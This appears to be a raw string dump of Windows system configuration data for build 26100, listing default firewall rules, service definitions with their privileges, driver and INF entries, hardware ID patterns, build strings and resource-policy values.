v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Public|LPort=2869|RA42=Ply2Renders|RA62=Ply2Renders|App=System|Name=@FirewallAPI.dll,-36106|Desc=@FirewallAPI.dll,-36107|EmbedCtxt=@FirewallAPI.dll,-36001| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|Profile=Domain|App=%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe|Name=@FirewallAPI.dll,-31309|Desc=@FirewallAPI.dll,-31312|EmbedCtxt=@FirewallAPI.dll,-31252| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=58|ICMP6=128:*|App=System|Name=@FirewallAPI.dll,-28683|Desc=@FirewallAPI.dll,-28685|EmbedCtxt=@FirewallAPI.dll,-28672| %SystemRoot%\System32\ipnathlp.dll v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Public|RPort=2869|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdphost|Name=@FirewallAPI.dll,-32765|Desc=@FirewallAPI.dll,-32768|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Private|LPort=10246|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-36002|Desc=@FirewallAPI.dll,-36003|EmbedCtxt=@FirewallAPI.dll,-36001| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Private|Profile=Public|LPort=2177|RA42=Ply2Renders|RA62=Ply2Renders|App=%SystemRoot%\system32\svchost.exe|Svc=Qwave|Name=@FirewallAPI.dll,-36014|Desc=@FirewallAPI.dll,-36015|EmbedCtxt=@FirewallAPI.dll,-36001| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|LPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-30753|Desc=@FirewallAPI.dll,-30756|EmbedCtxt=@FirewallAPI.dll,-30752| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Public|App=%SystemRoot%\system32\spoolsv.exe|Svc=Spooler|Name=@FirewallAPI.dll,-36858|Desc=@FirewallAPI.dll,-36859|EmbedCtxt=@FirewallAPI.dll,-36851|TTK2_22=WFDPrint| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Public|App=%SystemRoot%\system32\msra.exe|Name=@FirewallAPI.dll,-33007|Desc=@FirewallAPI.dll,-33010|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=17|Profile=Private|RPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-32757|Desc=@FirewallAPI.dll,-32760|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Private|RPort=5357|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=fdphost|Name=@FirewallAPI.dll,-32819|Desc=@FirewallAPI.dll,-32820|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=445|App=System|Name=@FirewallAPI.dll,-29257|Desc=@FirewallAPI.dll,-29260|EmbedCtxt=@FirewallAPI.dll,-29252| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=RPC|App=%SystemRoot%\system32\svchost.exe|Svc=schedule|Name=@FirewallAPI.dll,-33253|Desc=@FirewallAPI.dll,-33256|EmbedCtxt=@FirewallAPI.dll,-33252| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Public|App=%SystemRoot%\system32\spoolsv.exe|Svc=Spooler|Name=@FirewallAPI.dll,-36856|Desc=@FirewallAPI.dll,-36857|EmbedCtxt=@FirewallAPI.dll,-36851|TTK2_22=WFDPrint| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Domain|Profile=Private|App=%SystemRoot%\system32\msra.exe|Name=@FirewallAPI.dll,-33007|Desc=@FirewallAPI.dll,-33010|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|Profile=Private|Profile=Public|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\msdtc.exe|Name=@FirewallAPI.dll,-33507|Desc=@FirewallAPI.dll,-33510|EmbedCtxt=@FirewallAPI.dll,-33502| 1.11 v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Domain|App=%SystemRoot%\system32\raserver.exe|Name=@FirewallAPI.dll,-33015|Desc=@FirewallAPI.dll,-33018|EmbedCtxt=@FirewallAPI.dll,-33002| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=58|ICMP6=134:*|LA6=fe80::/64|RA6=LocalSubnet|RA6=fe80::/64|RA6=ff02::1|App=System|Name=@FirewallAPI.dll,-25013|Desc=@FirewallAPI.dll,-25018|EmbedCtxt=@FirewallAPI.dll,-25000| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|App=%SystemRoot%\system32\p2phost.exe|Name=@FirewallAPI.dll,-32007|Desc=@FirewallAPI.dll,-32010|EmbedCtxt=@FirewallAPI.dll,-32002| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=5358|App=System|Name=@FirewallAPI.dll,-32813|Desc=@FirewallAPI.dll,-32814|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=58|ICMP6=136:*|App=System|Name=@FirewallAPI.dll,-25026|Desc=@FirewallAPI.dll,-25032|EmbedCtxt=@FirewallAPI.dll,-25000|Edge=TRUE| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|RPort2_10=IPTLSOut|RPort2_10=IPHTTPSOut|App=%SystemRoot%\system32\svchost.exe|Svc=iphlpsvc|Name=@FirewallAPI.dll,-25427|Desc=@FirewallAPI.dll,-25429|EmbedCtxt=@FirewallAPI.dll,-25000| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|LPort=554|LPort2_10=8554-8558|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=FrameServer|Name=@FirewallAPI.dll,-54002|Desc=@FirewallAPI.dll,-54003|EmbedCtxt=@FirewallAPI.dll,-54001| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|Profile=Domain|Profile=Public|LPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-32753|Desc=@FirewallAPI.dll,-32756|EmbedCtxt=@FirewallAPI.dll,-32752| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=2|App=System|Name=@FirewallAPI.dll,-25377|Desc=@FirewallAPI.dll,-25382|EmbedCtxt=@FirewallAPI.dll,-25000| }|Desc=@{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName}|D=C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\|PFN=Microsoft.AccountsControl_cw5n1h2txyewy| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|Profile=Public|RA42=Ply2Renders|RA62=Ply2Renders|App=%SystemRoot%\system32\mdeserver.exe|Name=@FirewallAPI.dll,-36004|Desc=@FirewallAPI.dll,-36005|EmbedCtxt=@FirewallAPI.dll,-36001| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|Profile=Domain|LPort=1688|App=%SystemRoot%\system32\sppextcomobj.exe|Svc=sppsvc|Name=@FirewallAPI.dll,-28003|Desc=@FirewallAPI.dll,-28006|EmbedCtxt=@FirewallAPI.dll,-28002| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=6|LPort=2869|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-30814|Desc=@FirewallAPI.dll,-30815|EmbedCtxt=@FirewallAPI.dll,-30752| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|RPort=80|App=SYSTEM|Name=@peerdistsh.dll,-10001|Desc=@peerdistsh.dll,-11001|EmbedCtxt=@peerdistsh.dll,-9000| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|RPort=1900|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=Ssdpsrv|Name=@FirewallAPI.dll,-30757|Desc=@FirewallAPI.dll,-30760|EmbedCtxt=@FirewallAPI.dll,-30752| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=6|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=upnphost|Name=@FirewallAPI.dll,-30816|Desc=@FirewallAPI.dll,-30817|EmbedCtxt=@FirewallAPI.dll,-30752| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|App=%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe|Name=@FirewallAPI.dll,-31024|Desc=@FirewallAPI.dll,-31010|EmbedCtxt=@FirewallAPI.dll,-31002| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|LPort=7235|RPort=7235|RA4=LocalSubnet|RA6=LocalSubnet|App=%systemroot%\system32\svchost.exe|Svc=WlanSvc|Name=@wlansvc.dll,-37376|Desc=@wlansvc.dll,-37888|EmbedCtxt=@wlansvc.dll,-36864| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|Profile=Private|Profile=Public|RPort=137|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-28523|Desc=@FirewallAPI.dll,-28526|EmbedCtxt=@FirewallAPI.dll,-28502| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|Profile=Private|Profile=Public|LPort=138|RA4=LocalSubnet|RA6=LocalSubnet|App=System|Name=@FirewallAPI.dll,-28527|Desc=@FirewallAPI.dll,-28530|EmbedCtxt=@FirewallAPI.dll,-28502| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=1|Profile=Domain|ICMP4=8:*|App=System|Name=@FirewallAPI.dll,-28543|Desc=@FirewallAPI.dll,-28547|EmbedCtxt=@FirewallAPI.dll,-28502| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|LPort=5355|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=dnscache|Name=@FirewallAPI.dll,-28548|Desc=@FirewallAPI.dll,-28549|EmbedCtxt=@FirewallAPI.dll,-28502| v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|RPort=5355|RA4=LocalSubnet|RA6=LocalSubnet|App=%SystemRoot%\system32\svchost.exe|Svc=dnscache|Name=@FirewallAPI.dll,-28550|Desc=@FirewallAPI.dll,-28551|EmbedCtxt=@FirewallAPI.dll,-28502| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=58|ICMP6=128:*|App=System|Name=@FirewallAPI.dll,-28683|Desc=@FirewallAPI.dll,-28685|EmbedCtxt=@FirewallAPI.dll,-28672| RpcSs ProfSvc @%SystemRoot%\System32\Windows.SharedPC.AccountManager.dll,-101 @%SystemRoot%\System32\Windows.SharedPC.AccountManager.dll,-100 LocalSystem %SystemRoot%\System32\svchost.exe -k netsvcsRedirectionGuard -p SeImpersonatePrivilege SeTcbPrivilege SeTakeOwnershipPrivilege System32\drivers\SmartSAMD.sys smartsamd.inf System32\drivers\spaceport.sys System Bus Extender @spaceport.inf,%Spaceport_ServiceDesc%;Storage Spaces Driver spaceport.inf System32\drivers\storahci.sys SCSI Miniport @mshdc.inf,%storahci_ServiceDescription%;Microsoft Standard SATA AHCI Driver mshdc.inf VEN_1106&DEV_6287&REV_* VEN_1106&DEV_6287&REV_00 VEN_1106&DEV_6287&REV_10 VEN_1106&DEV_6287&REV_20 VEN_1002&DEV_4380&REV_* VEN_1002&DEV_4380&REV_* VEN_1002&DEV_4391&REV_* VEN_1022&DEV_7801&REV_00 8 HTE* Hitachi* HTS* HDS* HDT* MCBQE64GBMPP* WD740ADFD?00NLR1* WDC WD740ADFD?00NLR1* Maxtor 6V???E0* Maxtor 6V???F0* Maxtor 7V???E0* Maxtor 7V???F0* SanDisk SSD P4* INTEL SSD?C??????A4 INTEL SSD?C??????A4? INTEL SSD?C??????A4?? INTEL SSD?C??????A5 INTEL SSD?C??????A5? INTEL SSD?C??????A5?? VEN_1022&DEV_43B5&REV_* VEN_1022&DEV_43B6&REV_* VEN_1022&DEV_43B7&REV_* VEN_1022&DEV_43B8&REV_* VEN_1022&DEV_43C8&REV_* System32\drivers\vmstorfl.sys Extended Base @wstorflt.inf,%service_desc%;Microsoft Hyper-V Storage Accelerator wstorflt.inf System32\drivers\stornvme.sys SCSI Miniport @stornvme.inf,%StorNVMe_ServiceDesc%;Microsoft Standard NVM Express Driver stornvme.inf VEN_8086&DEV_0953&REV_?? 128 VEN_8086&DEV_0984&REV_?? 128 VEN_8086&DEV_0A53&REV_?? 128 VEN_8086&DEV_0A54&REV_?? 128 VEN_8086&DEV_0A55&REV_?? 128 VEN_144D&DEV_A80B&REV_?? 1 @%SystemRoot%\System32\StorSvc.dll,-101 @%SystemRoot%\System32\StorSvc.dll,-100 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeTcbPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeSystemEnvironmentPrivilege SeManageVolumePrivilege System32\drivers\storufs.sys @storufs.inf,%UfsServiceDesc%;Microsoft Universal Flash Storage (UFS) Driver storufs.inf System32\drivers\storvsc.sys wstorvsc.inf \SystemRoot\System32\DriverStore\FileRepository\swenum.inf_amd64_8b9dd76f362e3ec6\swenum.sys Extended Base @swenum.inf,%SWENUM.SVCDESC%;Software Bus Driver swenum.inf \SystemRoot\System32\drivers\terminpt.sys Extended Base @termkbd.inf,%TermInpt.SVCDESC%;Microsoft Remote Desktop Input Driver termmou.inf termkbd.inf \SystemRoot\System32\DriverStore\FileRepository\c_thermal.inf_amd64_0f40610a476f1392\ThermalFilter.sys @c_thermal.inf,%ThermalFilter_SvcDesc%;Microsoft Thermal Filter Driver c_thermal.inf \SystemRoot\System32\drivers\tpm.sys Boot Bus Extender @tpm.inf,%TPM%;TPM @tpm.inf,%TPMDesc%;TPM Driver {F141DC89-3D00-450A-B2D2-AD995267F8FC} @%SystemRoot%\servicing\TrustedInstaller.exe,-101 @%SystemRoot%\servicing\TrustedInstaller.exe,-100 ProfSvc_Group %SystemRoot%\servicing\TrustedInstaller.exe localSystem \SystemRoot\System32\drivers\TsUsbGD.sys Extended Base @tsgenericusbdriver.inf,%TsUsbGD.DeviceDesc.Generic%;Remote Desktop Generic USB Device tsgenericusbdriver.inf \SystemRoot\System32\drivers\tsusbhub.sys Extended Base @tsusbhub.inf,%tsusbhub.SVCDESC%;Remote Desktop USB Hub tsusbhub.inf 1.11 \SystemRoot\System32\drivers\uaspstor.sys @uaspstor.inf,%UASPortName%;USB Attached SCSI (UAS) Driver uaspstor.inf \SystemRoot\System32\drivers\UcmUcsiAcpiClient.sys UcmUcsiCx @ucmucsiacpiclient.inf,%UcmUcsiAcpiClient.ServiceName%;UCM-UCSI ACPI Client ucmucsiacpiclient.inf @%SystemRoot%\system32\drivers\UCPD.sys,-201 @%SystemRoot%\system32\drivers\UCPD.sys,-200 FSFilter Activity Monitor system32\drivers\UCPD.sys \SystemRoot\System32\DriverStore\FileRepository\uefi.inf_amd64_9e6df3e21b6fcc8e\UEFI.sys @uefi.inf,%UEFI.SvcDesc%;Microsoft UEFI Driver uefi.inf \SystemRoot\System32\DriverStore\FileRepository\ufxchipidea.inf_amd64_6e8bb2ed82835828\UfxChipidea.sys Base ufx01000 @ufxchipidea.inf,%UfxChipidea.ServiceName%;USB Chipidea Controller ufxchipidea.inf \SystemRoot\System32\drivers\ufxsynopsys.sys Base ufx01000 @ufxsynopsys.inf,%ufxsynopsys.ServiceName%;USB Synopsys Controller ufxsynopsys.inf \SystemRoot\System32\DriverStore\FileRepository\uiomap.inf_amd64_f5d5465d1731583d\uiomap.sys Base @uiomap.inf,%ServiceDesc%;Microsoft UIO Mapper Driver Service uiomap.inf \SystemRoot\System32\DriverStore\FileRepository\umbus.inf_amd64_914dd46b4b013b1b\umbus.sys Extended Base @umbus.inf,%umbus.SVCDESC%;UMBus Enumerator Driver umbus.inf \SystemRoot\System32\DriverStore\FileRepository\umpass.inf_amd64_06e016c9ffecbf73\umpass.sys Extended Base @umpass.inf,%UmPass.SVCDESC%;Microsoft UMPass Driver pnpxinternetgatewaydevices.inf eaphost.inf umpass.inf bthleenum.inf \SystemRoot\System32\DriverStore\FileRepository\urschipidea.inf_amd64_37fb14618bce547b\urschipidea.sys Base urscx01000 @urschipidea.inf,%UrsChipidea.ServiceName%;Chipidea USB Role-Switch Driver urschipidea.inf \SystemRoot\System32\DriverStore\FileRepository\urssynopsys.inf_amd64_ef0be23d0f063014\urssynopsys.sys Base urscx01000 @urssynopsys.inf,%UrsSynopsys.ServiceName%;Synopsys USB Role-Switch Driver urssynopsys.inf \SystemRoot\System32\DriverStore\FileRepository\usb-platformdetection.inf_amd64_7ae4b5518d554762\usb-platformdetection.sys Base @usb-platformdetection.inf,%usb-platformdetection.SvcDesc%;Usb Platform Detection Driver usb-platformdetection.inf 1.15 Base \SystemRoot\System32\DriverStore\FileRepository\usb4devicerouter.inf_amd64_e5acd82504f3c6d7\Usb4DeviceRouter.sys @usb4devicerouter.inf,%Usb4DeviceRouter.SVCDESC%;USB4 Device Router Service usb4devicerouter.inf \SystemRoot\System32\DriverStore\FileRepository\usb4hostrouter.inf_amd64_2959532e31ffcc25\Usb4HostRouter.sys @usb4hostrouter.inf,%Usb4HostRouter.SVCDESC%;USB4 Host Router Service usb4hostrouter.inf \SystemRoot\system32\drivers\usbaudio.sys @wdma_usb.inf,%USBAudio.SvcDesc%;USB Audio Driver (WDM) wdma_usb.inf \SystemRoot\System32\drivers\usbaudio2.sys @usbaudio2.inf,%usbaudio2.SVCDESC%;USB Audio 2.0 Service usbaudio2.inf \SystemRoot\System32\drivers\usbccgp.sys Base @usb.inf,%GenericParent.SvcDesc%;Microsoft USB Generic Parent Driver wmbclass_wmc_union.inf usb.inf sion \SystemRoot\System32\drivers\usbcir.sys Extended Base @usbcir.inf,%usbcir.SVCDESC%;eHome Infrared Receiver (USBCIR) usbcir.inf \SystemRoot\System32\drivers\usbehci.sys Base @usbport.inf,%EHCIMP.SvcDesc%;Microsoft USB 2.0 Enhanced Host Controller Miniport Driver usbport.inf \SystemRoot\System32\drivers\usbhub.sys Base @usbport.inf,%ROOTHUB.SvcDesc%;Microsoft USB Standard Hub Driver usbport.inf usb.inf \SystemRoot\System32\drivers\UsbHub3.sys Base @usbhub3.inf,%UsbHub3.SVCDESC%;SuperSpeed Hub usbhub3.inf \SystemRoot\System32\drivers\usbohci.sys Base @usbport.inf,%OHCIMP.SvcDesc%;Microsoft USB Open Host Controller Miniport Driver usbport.inf \SystemRoot\System32\drivers\usbprint.sys extended base @usbprint.inf,%USBPRINT.SvcDesc%;Microsoft USB PRINTER Class usbprint.inf \SystemRoot\System32\drivers\usbser.sys @usbser.inf,%UsbSerial.DriverDesc%;Microsoft USB Serial Driver usbser.inf \SystemRoot\System32\drivers\USBSTOR.SYS @usbstor.inf,%USBSTOR.SvcDesc%;USB Mass Storage Driver v_mscdsc.inf usbstor.inf \SystemRoot\System32\drivers\usbuhci.sys Base @usbport.inf,%UHCIMP.SvcDesc%;Microsoft USB Universal Host Controller Miniport Driver usbport.inf Ucx01000 \SystemRoot\System32\drivers\USBXHCI.SYS @usbxhci.inf,%PCI\CC_0C0330.DeviceDesc%;USB xHCI Compliant Host Controller usbxhci.inf System32\drivers\vdrvroot.sys Boot Bus Extender @vdrvroot.inf,%vdrvroot_svcdesc%;Microsoft Virtual Drive Enumerator vdrvroot.inf \SystemRoot\System32\drivers\vhdmp.sys SCSI miniport vhdmp.inf \SystemRoot\System32\drivers\vhf.sys Base @hidvhf.inf,%VhfService%;Virtual HID Framework (VHF) Driver @hidvhf.inf,%VhfDesc%;Kernel mode driver that implements the Virtual HID Framework (VHF) bthlcpen.inf hidvhf.inf \SystemRoot\System32\drivers\Vid.sys Extended Base wvid.inf \SystemRoot\System32\DriverStore\FileRepository\vrd.inf_amd64_4dd0e6d66a75bb7e\vrd.sys vrd.inf System32\drivers\vmbus.sys System Bus Extender @wvmbus.inf,%vmbus.SVCDESC%;Virtual Machine Bus wvmbus.inf \SystemRoot\System32\drivers\VMBusHID.sys Extended Base wvmbushid.inf \SystemRoot\System32\drivers\vmgid.sys @wvmgid.inf,%VmGid.SVCDESC%;Microsoft Hyper-V Guest Infrastructure Driver wvmgid.inf System32\drivers\volmgr.sys System Bus Extender @volmgr.inf,%volmgr_svcdesc%;Volume Manager Driver volmgr.inf @%SystemRoot%\system32\drivers\volsnap.sys,-101 @%SystemRoot%\system32\drivers\volsnap.sys,-100 System32\drivers\volsnap.sys System32\drivers\volume.sys @volume.inf,%VolumeServiceDesc%;Volume driver smrvolume.inf scmvolume.inf volume.inf System32\drivers\vpci.sys System Bus Extender @wvpci.inf,%vpci.SVCDESC%;Microsoft Hyper-V Virtual PCI Bus wvpci.inf \SystemRoot\System32\DriverStore\FileRepository\netvwifibus.inf_amd64_ab4e111fe8221178\vwifibus.sys @netvwifibus.inf,%vwifibus_ServiceDisplayName%;Virtual Wireless Bus Driver @netvwifibus.inf,%vwifibus_ServiceDesc%;Implements bus functionality for Virtual Wireless netvwifibus.inf rpcss @WaaSMedicSvcImpl.dll,-101 @WaaSMedicSvcImpl.dll,-100 %systemroot%\system32\svchost.exe -k wusvcs -p LocalSystem SeTcbPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeTakeOwnershipPrivilege SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeManageVolumePrivilege SeAssignPrimaryTokenPrivilege \SystemRoot\System32\drivers\wacompen.sys Extended Base @hiddigi.inf,%WacomPen.SVCDESC%;Wacom Serial Pen HID Driver hiddigi.inf RpcSs @%SystemRoot%\system32\whesvc.dll,-101 @%SystemRoot%\system32\whesvc.dll,-100 %SystemRoot%\system32\svchost.exe -k whesvc -p LocalSystem %SystemRoot%\System32\whesvc.dll ServiceMain System32\drivers\WindowsTrustedRTProxy.sys Core Security Extensions @windowstrustedrtproxy.inf,%WindowsTrustedRTProxy.SVCDESC%;Microsoft Windows Trusted Runtime Secure Service windowstrustedrtproxy.inf Dhcp DNSCache @%SystemRoot%\system32\winhttp.dll,-101 @%SystemRoot%\system32\winhttp.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalServiceHttp -p estricted -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege \SystemRoot\System32\DriverStore\FileRepository\wini3ctarget.inf_amd64_9bda3f893989b4a6\wini3ctarget.sys @wini3ctarget.inf,%WinI3CTarget.SVCDESC%;Generic driver for I3C Target Devices wini3ctarget.inf \SystemRoot\System32\drivers\winmad.sys PNP Filter winverbs @mlx4_bus.inf,%WinMad.ServiceDesc%;WinMad Service mlx4_bus.inf \SystemRoot\System32\drivers\WinUSB.SYS @winusb.inf,%WINUSB_SvcName%;WinUsb Driver @winusb.inf,%WINUSB_SvcDesc%;Generic driver for USB devices transfercable.inf winusb.inf \SystemRoot\System32\drivers\winverbs.sys PNP Filter ibbus @mlx4_bus.inf,%WinVerbs.ServiceDesc%;WinVerbs Service mlx4_bus.inf \SystemRoot\System32\drivers\wmiacpi.sys Extended Base @wmiacpi.inf,%WMIMAP.SvcDesc%;Microsoft Windows Management Interface for ACPI wmiacpi.inf RPCSS BrokerInfrastructure staterepository appxsvc @%systemroot%\system32\WSAIFabricHost.dll,-103 @%systemroot%\system32\WSAIFabricHost.dll,-102 %systemroot%\system32\svchost.exe -k WSAIFabricSvcGroup -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeIncreaseQuotaPrivilege SeImpersonatePrivilege %systemroot%\system32\WSAIFabricHost.dll ServiceMain \SystemRoot\System32\drivers\WUDFRd.sys base @%SystemRoot%\system32\drivers\WudfRd.sys,-1000 Foundation - User-mode Driver Framework Reflector hidtelephonydriver.inf storfwupdate.inf hidcfu.inf hidi3c.inf hidbthle.inf hidlamparray.inf rdpidd.inf ehstorpwddrv.inf xinputhid.inf wudfrd.inf @%systemroot%\system32\drivers\WudfRd.sys,-1001 RpcSs @%SystemRoot%\System32\Microsoft.Data.UsageAndQualityInsights.dll,-101 @%SystemRoot%\System32\Microsoft.Data.UsageAndQualityInsights.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege %SystemRoot%\System32\Microsoft.Data.UsageAndQualityInsights.dll ServiceMain RpcSs @%systemroot%\system32\XblAuthManager.dll,-101 @%systemroot%\system32\XblAuthManager.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcsRedirectionGuard -p LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeDebugPrivilege \SystemRoot\System32\drivers\xboxgip.sys NDIS @xboxgip.inf,%XBOXGIP_Desc%;Xbox Game Input Protocol Driver @xboxgip.inf,%XBOXGIP_Desc%;Xbox Game Input Protocol Driver xboxgip.inf \SystemRoot\System32\drivers\xinputhid.sys Base @xinputhid.inf,%xinputhid.SvcDesc%;XINPUT HID Filter Driver xinputhid.inf @%SystemRoot%\system32\drivers\ztdns.sys,-101 @%SystemRoot%\system32\drivers\ztdns.sys,-100 system32\drivers\ztdns.sys RpcSs @%SystemRoot%\System32\zthelper.dll,-101 @%SystemRoot%\System32\zthelper.dll,-100 %SystemRoot%\system32\svchost.exe -k zthelper -p LocalSystem SeChangeNotifyPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\zthelper.dll C:\Windows %providername% %gip_hid.devicedesc% GIP_Hid %providername% %vid_045e&pid_0b00.devicedesc% GIP_Hid %providername% %vid_045e&pid_0b0a.devicedesc% GIP_Hid %providername% %vid_045e&pid_0b13.devicedesc% Xbox Adaptive Controller Xbox One Wireless Controller Xbox One Wireless Controller Microsoft XINPUT compatible HID device Bluetooth XINPUT compatible input device Bluetooth LE XINPUT compatible input device Xbox One Wireless Controller Xbox Wireless Controller Xbox One Wireless Controller Xbox One Elite Wireless Controller hexe Sysprep\sysprep.exe /respecialize /quiet \Device\HarddiskVolume1 Mon Apr 01 07:29:24 2024 unishare.gpd 26100.ge_release.240331-1435 26100.1.amd64fre.ge_release.240331-1435 amd64 ge_release 26100.ge_release.240331-1435 26100.1.amd64fre.ge_release.240331-1435 240331-1435 amd64 ge_release 26100.ge_release.240331-1435 26100.1.amd64fre.ge_release.240331-1435 240331-1435 amd64 ge_release_svc_prod1 26100.ge_release_svc_prod1.260206-0413 26100.7840.amd64fre.ge_release_svc_prod1.260206-0413 260206-0413 amd64 ge_release_svc_prod1 26100.ge_release_svc_prod1.260206-0413 26100.7840.amd64fre.ge_release_svc_prod1.260206-0413 260206-0413 DevicePairingActivationBrokerPlugin {50707366-b187-49f0-b511-73a7ec26b256} PersonalAssistantProtocolActivationPlugin {08BB574E-90B5-47DF-A336-BF15CA189C1A} CAppointmentsProviderInternalAddAppointmentActivationPlugin CAppointmentsProviderInternalShowApointmentDetailsActivationPlugin AppointmentDetailsActivationPlugin CAppointmentsProviderInternalReplaceAppointmentActivationPlugin CAppointmentsProviderInternalRemoveAppointmentActivationPlugin ToastActivationPlugin {a9086323-fa54-4eed-ad82-87d2d4bd0eb1} CAppointmentsProviderInternalChooseCalendarForViewActivationPlugin CAppointmentsProviderInternalShowTimeFrameActivationPlugin DialReceiverActivationPlugin {faac4dc5-2486-4297-9d04-bc6633b6f953} LauncherServiceActivationPlugin {EAA6BEAB-E172-49F0-8EEC-15DB35D36DF8} SpeechActivationPlugin {473098BA-A335-46CF-821B-D995354348E0} {DE4D5E6A-593F-4047-9D64-F997B031E6D6} {DE4D5E6A-593F-4047-9D64-F997B031E6D6} {DE4D5E6A-593F-4047-9D64-F997B031E6D6} AudioResourceRegistrar.dll G HHHxH SoftCapLow ApplicationService BackgroundDefault Medium NoCap NoCap SoftCapLow ApplicationService ElasticRecipient Medium NoCap NoCap SoftCapLow BackgroundAudioPlayer ElasticRecipient Critical NoCap NoCap SoftCapLow BackgroundAudioPlayer None Critical NoCap NoCap SoftCapLow ApplicationService BackgroundDefault High NoCap NoCap SoftCapFull StandardExternalResources None High NoCap NoCap SoftCapLow BackgroundAudioPlayer PPLE Critical NoCap NoCap SoftCapLow ApplicationService BackgroundDefault NoCap NoCap SoftCapLow ApplicationService None NoCap NoCap SoftCapLow ApplicationService None Critical NoCap NoCap SoftCapLow ApplicationService None NoCap NoCap SoftCapLow ApplicationService None High NoCap NoCap SoftCapFull StandardExternalResources Foreground Critical NoCap NoCap SoftCapFull StandardExternalResources Foreground High NoCap NoCap SoftCapLow ApplicationService BackgroundDefault High NoCap NoCap SoftCapLow ApplicationService BackgroundDefault VeryHigh NoCap NoCap SoftCapFull ApplicationService BackgroundDefault VeryHigh NoCap NoCap SoftCapFull StandardExternalResources Foreground Critical NoCap NoCap SoftCapLow ExtendedExecution None MediumHigh NoCap NoCap SoftCapLow Cortana BackgroundDefault Medium NoCap NoCap SoftCapFull StandardExternalResources Foreground Critical NoCap NoCap 